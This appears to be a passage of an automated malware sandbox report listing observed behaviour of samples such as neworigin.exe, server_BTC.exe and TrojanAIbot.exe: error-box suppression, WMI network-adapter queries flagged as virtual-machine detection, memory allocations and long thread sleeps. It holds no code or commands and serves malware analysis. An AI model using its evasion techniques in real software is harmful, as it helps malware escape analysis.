Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\Wisrysxl.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\lxsyrsiW.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 29A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 2B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 4B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 1370000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 2E00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 13E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 2C70000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 2E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 4E10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: F10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 28F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 48F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: D30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 2B10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 2840000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 1790000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 3390000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 30D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 3050000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 3220000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Memory allocated: 5220000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: FA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 2C60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Memory allocated: 11C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 17A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 3270000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Memory allocated: 5270000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\server_BTC.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window / User API: threadDelayed 4722	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window / User API: threadDelayed 5080	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5417
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 674
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Window / User API: threadDelayed 4989
Source: C:\Users\user\AppData\Roaming\ACCApi\TrojanAIbot.exe	Window / User API: threadDelayed 4798
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window / User API: threadDelayed 524
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window / User API: threadDelayed 2214
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window / User API: threadDelayed 3850
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe	Window / User API: threadDelayed 5961

Source: C:\Users\Public\Libraries\lxsyrsiW.pif

Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Jump to dropped file

Source: C:\Users\Public\Libraries\Wisrysxl.PIF

API coverage: 10.0 %

Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -35048813740048126s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99848s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 936	Thread sleep count: 4722 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99723s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99602s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99493s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99378s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99257s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99138s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98869s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 936	Thread sleep count: 5080 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98208s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97666s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97538s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97427s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97302s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97183s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -97066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96934s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96809s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96701s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96590s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96478s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96357s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -96103s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -95994s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -95870s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -95423s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -95278s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -95168s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -95046s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94892s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94763s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94654s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94544s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94435s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94326s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94216s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -94106s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -93992s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -93884s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -93778s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -93669s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99843s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99734s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99623s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -99071s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neworigin.exe TID: 800	Thread sleep time: -98873s >= -30000s	Jump to behavior
